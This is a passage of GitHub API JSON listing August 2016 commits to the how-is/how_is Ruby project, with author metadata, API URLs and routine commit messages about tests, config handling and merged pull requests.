hub.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"157b047234ca64856040baa2a358064a3b19bbde","url":"https://api.github.com/repos/how-is/how_is/commits/157b047234ca64856040baa2a358064a3b19bbde","html_url":"https://github.com/how-is/how_is/commit/157b047234ca64856040baa2a358064a3b19bbde"}]},{"sha":"157b047234ca64856040baa2a358064a3b19bbde","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTU3YjA0NzIzNGNhNjQ4NTYwNDBiYWEyYTM1ODA2NGEzYjE5YmJkZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:36:36Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-07T03:36:36Z"},"message":"Merge pull request #30 from how-is/remove-warnings\n\nRemove redundant definiton of C.","tree":{"sha":"cbb76290c6aaa00109d38f85cb244d3652c4509d","url":"https://api.github.com/repos/how-is/how_is/git/trees/cbb76290c6aaa00109d38f85cb244d3652c4509d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/157b047234ca64856040baa2a358064a3b19bbde","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/157b047234ca64856040baa2a358064a3b19bbde","html_url":"https://github.com/how-is/how_is/commit/157b047234ca64856040baa2a358064a3b19bbde","comments_url":"https://api.github.com/repos/how-is/how_is/commits/157b047234ca64856040baa2a358064a3b19bbde/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"e86c94311581b4ec4e528fc69cc0770e2533dd96","url":"https://api.github.com/repos/how-is/how_is/commits/e86c94311581b4ec4e528fc69cc0770e2533dd96","html_url":"https://github.com/how-is/how_is/commit/e86c94311581b4ec4e528fc69cc0770e2533dd96"},{"sha":"927511d330ddf9f72f33820161ff9d364d515f03","url":"https://api.github.com/repos/how-is/how_is/commits/927511d330ddf9f72f33820161ff9d364d515f03","html_url":"https://github.com/how-is/how_is/commit/927511d330ddf9f72f33820161ff9d364d515f03"}]},{"sha":"927511d330ddf9f72f33820161ff9d364d515f03","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTI3NTExZDMzMGRkZjlmNzJmMzM4MjAxNjFmZjlkMzY0ZDUxNWYwMw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:33:01Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:33:01Z"},"message":"Remove redundant definiton of C.","tree":{"sha":"cbb76290c6aaa00109d38f85cb244d3652c4509d","url":"https://api.github.com/repos/how-is/how_is/git/trees/cbb76290c6aaa00109d38f85cb244d3652c4509d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/927511d330ddf9f72f33820161ff9d364d515f03","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/927511d330ddf9f72f33820161ff9d364d515f03","html_url":"https://github.com/how-is/how_is/commit/927511d330ddf9f72f33820161ff9d364d515f03","comments_url":"https://api.github.com/repos/how-is/how_is/commits/927511d330ddf9f72f33820161ff9d364d515f03/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e86c94311581b4ec4e528fc69cc0770e2533dd96","url":"https://api.github.com/repos/how-is/how_is/commits/e86c94311581b4ec4e528fc69cc0770e2533dd96","html_url":"https://github.com/how-is/how_is/commit/e86c94311581b4ec4e528fc69cc0770e2533dd96"}]},{"sha":"e86c94311581b4ec4e528fc69cc0770e2533dd96","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTg2Yzk0MzExNTgxYjRlYzRlNTI4ZmM2OWNjMDc3MGUyNTMzZGQ5Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:29:37Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-07T03:29:37Z"},"message":"Merge pull request #28 from how-is/fix-unit-test\n\nFix Analyzer#average_age_for test.","tree":{"sha":"824dfa77a044de964b79a21d0c9ea4a3ccdd76e4","url":"https://api.github.com/repos/how-is/how_is/git/trees/824dfa77a044de964b79a21d0c9ea4a3ccdd76e4"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e86c94311581b4ec4e528fc69cc0770e2533dd96","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e86c94311581b4ec4e528fc69cc0770e2533dd96","html_url":"https://github.com/how-is/how_is/commit/e86c94311581b4ec4e528fc69cc0770e2533dd96","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e86c94311581b4ec4e528fc69cc0770e2533dd96/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a401d74c4a354db12ceb38e6e83a99f0c863e69","url":"https://api.github.com/repos/how-is/how_is/commits/9a401d74c4a354db12ceb38e6e83a99f0c863e69","html_url":"https://github.com/how-is/how_is/commit/9a401d74c4a354db12ceb38e6e83a99f0c863e69"},{"sha":"6ad490ed5081a027ab697d4495c3fc65d502145f","url":"https://api.github.com/repos/how-is/how_is/commits/6ad490ed5081a027ab697d4495c3fc65d502145f","html_url":"https://github.com/how-is/how_is/commit/6ad490ed5081a027ab697d4495c3fc65d502145f"}]},{"sha":"6ad490ed5081a027ab697d4495c3fc65d502145f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmFkNDkwZWQ1MDgxYTAyN2FiNjk3ZDQ0OTVjM2ZjNjVkNTAyMTQ1Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:26:44Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:26:44Z"},"message":"Fix Analyzer#average_age_for test.","tree":{"sha":"824dfa77a044de964b79a21d0c9ea4a3ccdd76e4","url":"https://api.github.com/repos/how-is/how_is/git/trees/824dfa77a044de964b79a21d0c9ea4a3ccdd76e4"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6ad490ed5081a027ab697d4495c3fc65d502145f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6ad490ed5081a027ab697d4495c3fc65d502145f","html_url":"https://github.com/how-is/how_is/commit/6ad490ed5081a027ab697d4495c3fc65d502145f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6ad490ed5081a027ab697d4495c3fc65d502145f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a401d74c4a354db12ceb38e6e83a99f0c863e69","url":"https://api.github.com/repos/how-is/how_is/commits/9a401d74c4a354db12ceb38e6e83a99f0c863e69","html_url":"https://github.com/how-is/how_is/commit/9a401d74c4a354db12ceb38e6e83a99f0c863e69"}]},{"sha":"9a401d74c4a354db12ceb38e6e83a99f0c863e69","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWE0MDFkNzRjNGEzNTRkYjEyY2ViMzhlNmU4M2E5OWYwYzg2M2U2OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:23:27Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-08-07T03:23:27Z"},"message":"Merge pull request #27 from how-is/integration-tests\n\nIntegration tests","tree":{"sha":"eaf2ebf711840cc8199aed08449ab13f053fed6e","url":"https://api.github.com/repos/how-is/how_is/git/trees/eaf2ebf711840cc8199aed08449ab13f053fed6e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9a401d74c4a354db12ceb38e6e83a99f0c863e69","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9a401d74c4a354db12ceb38e6e83a99f0c863e69","html_url":"https://github.com/how-is/how_is/commit/9a401d74c4a354db12ceb38e6e83a99f0c863e69","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9a401d74c4a354db12ceb38e6e83a99f0c863e69/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"82ab6199827bad64cd471c03939af00a7728d3c8","url":"https://api.github.com/repos/how-is/how_is/commits/82ab6199827bad64cd471c03939af00a7728d3c8","html_url":"https://github.com/how-is/how_is/commit/82ab6199827bad64cd471c03939af00a7728d3c8"},{"sha":"591e6e41855a22af9af5ad89156819a267bd3f55","url":"https://api.github.com/repos/how-is/how_is/commits/591e6e41855a22af9af5ad89156819a267bd3f55","html_url":"https://github.com/how-is/how_is/commit/591e6e41855a22af9af5ad89156819a267bd3f55"}]},{"sha":"591e6e41855a22af9af5ad89156819a267bd3f55","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NTkxZTZlNDE4NTVhMjJhZjlhZjVhZDg5MTU2ODE5YTI2N2JkM2Y1NQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:19:31Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-07T03:19:31Z"},"message":"Don''t write the config file each time it''s used.","tree":{"sha":"eaf2ebf711840cc8199aed08449ab13f053fed6e","url":"https://api.github.com/repos/how-is/how_is/git/trees/eaf2ebf711840cc8199aed08449ab13f053fed6e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/591e6e41855a22af9af5ad89156819a267bd3f55","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/591e6e41855a22af9af5ad89156819a267bd3f55","html_url":"https://github.com/how-is/how_is/commit/591e6e41855a22af9af5ad89156819a267bd3f55","comments_url":"https://api.github.com/repos/how-is/how_is/commits/591e6e41855a22af9af5ad89156819a267bd3f55/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9757e2a95194301d160ec514a06341e1bd710d01","url":"https://api.github.com/repos/how-is/how_is/commits/9757e2a95194301d160ec514a06341e1bd710d01","html_url":"https://github.com/how-is/how_is/commit/9757e2a95194301d160ec514a06341e1bd710d01"}]},{"sha":"9757e2a95194301d160ec514a06341e1bd710d01","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTc1N2UyYTk1MTk0MzAxZDE2MGVjNTE0YTA2MzQxZTFiZDcxMGQwMQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-06T04:44:31Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-06T04:44:31Z"},"message":"Integration tests!","tree":{"sha":"4cfc21135dbcbf40d16da45e3be00fa9d2e50ff0","url":"https://api.github.com/repos/how-is/how_is/git/trees/4cfc21135dbcbf40d16da45e3be00fa9d2e50ff0"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9757e2a95194301d160ec514a06341e1bd710d01","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9757e2a95194301d160ec514a06341e1bd710d01","html_url":"https://github.com/how-is/how_is/commit/9757e2a95194301d160ec514a06341e1bd710d01","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9757e2a95194301d160ec514a06341e1bd710d01/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e41618f981325ac449b9e53ce42c2ef515865114","url":"https://api.github.com/repos/how-is/how_is/commits/e41618f981325ac449b9e53ce42c2ef515865114","html_url":"https://github.com/how-is/how_is/commit/e41618f981325ac449b9e53ce42c2ef515865114"}]},{"sha":"e41618f981325ac449b9e53ce42c2ef515865114","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTQxNjE4Zjk4MTMyNWFjNDQ5YjllNTNjZTQyYzJlZjUxNTg2NTExNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-06T03:56:28Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-06T03:56:32Z"},"message":"Features!","tree":{"sha":"6d18c72ff9e9f24c0c39d31a79f43739a5ee054e","url":"https://api.github.com/repos/how-is/how_is/git/trees/6d18c72ff9e9f24c0c39d31a79f43739a5ee054e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e41618f981325ac449b9e53ce42c2ef515865114","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e41618f981325ac449b9e53ce42c2ef515865114","html_url":"https://github.com/how-is/how_is/commit/e41618f981325ac449b9e53ce42c2ef515865114","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e41618f981325ac449b9e53ce42c2ef515865114/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3bec8d618f9772b6788f7ec7d636f7a57a980314","url":"https://api.github.com/repos/how-is/how_is/commits/3bec8d618f9772b6788f7ec7d636f7a57a980314","html_url":"https://github.com/how-is/how_is/commit/3bec8d618f9772b6788f7ec7d636f7a57a980314"}]},{"sha":"3bec8d618f9772b6788f7ec7d636f7a57a980314","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2JlYzhkNjE4Zjk3NzJiNjc4OGY3ZWM3ZDYzNmY3YTU3YTk4MDMxNA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-06T03:06:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-06T03:06:20Z"},"message":"Use Tessellator::Fetcher v5.0 because it actually works in Bash on Windows.","tree":{"sha":"0d57395012bc95242878606112587cd08bce8327","url":"https://api.github.com/repos/how-is/how_is/git/trees/0d57395012bc95242878606112587cd08bce8327"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3bec8d618f9772b6788f7ec7d636f7a57a980314","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3bec8d618f9772b6788f7ec7d636f7a57a980314","html_url":"https://github.com/how-is/how_is/commit/3bec8d618f9772b6788f7ec7d636f7a57a980314","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3bec8d618f9772b6788f7ec7d636f7a57a980314/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d81a8c38956d8ec39b063f24e9fb40ec948a7de","url":"https://api.github.com/repos/how-is/how_is/commits/6d81a8c38956d8ec39b063f24e9fb40ec948a7de","html_url":"https://github.com/how-is/how_is/commit/6d81a8c38956d8ec39b063f24e9fb40ec948a7de"}]},{"sha":"6d81a8c38956d8ec39b063f24e9fb40ec948a7de","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmQ4MWE4YzM4OTU2ZDhlYzM5YjA2M2YyNGU5ZmI0MGVjOTQ4YTdkZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-06T03:06:05Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-08-06T03:06:05Z"},"message":"Make quotes in gemspec more 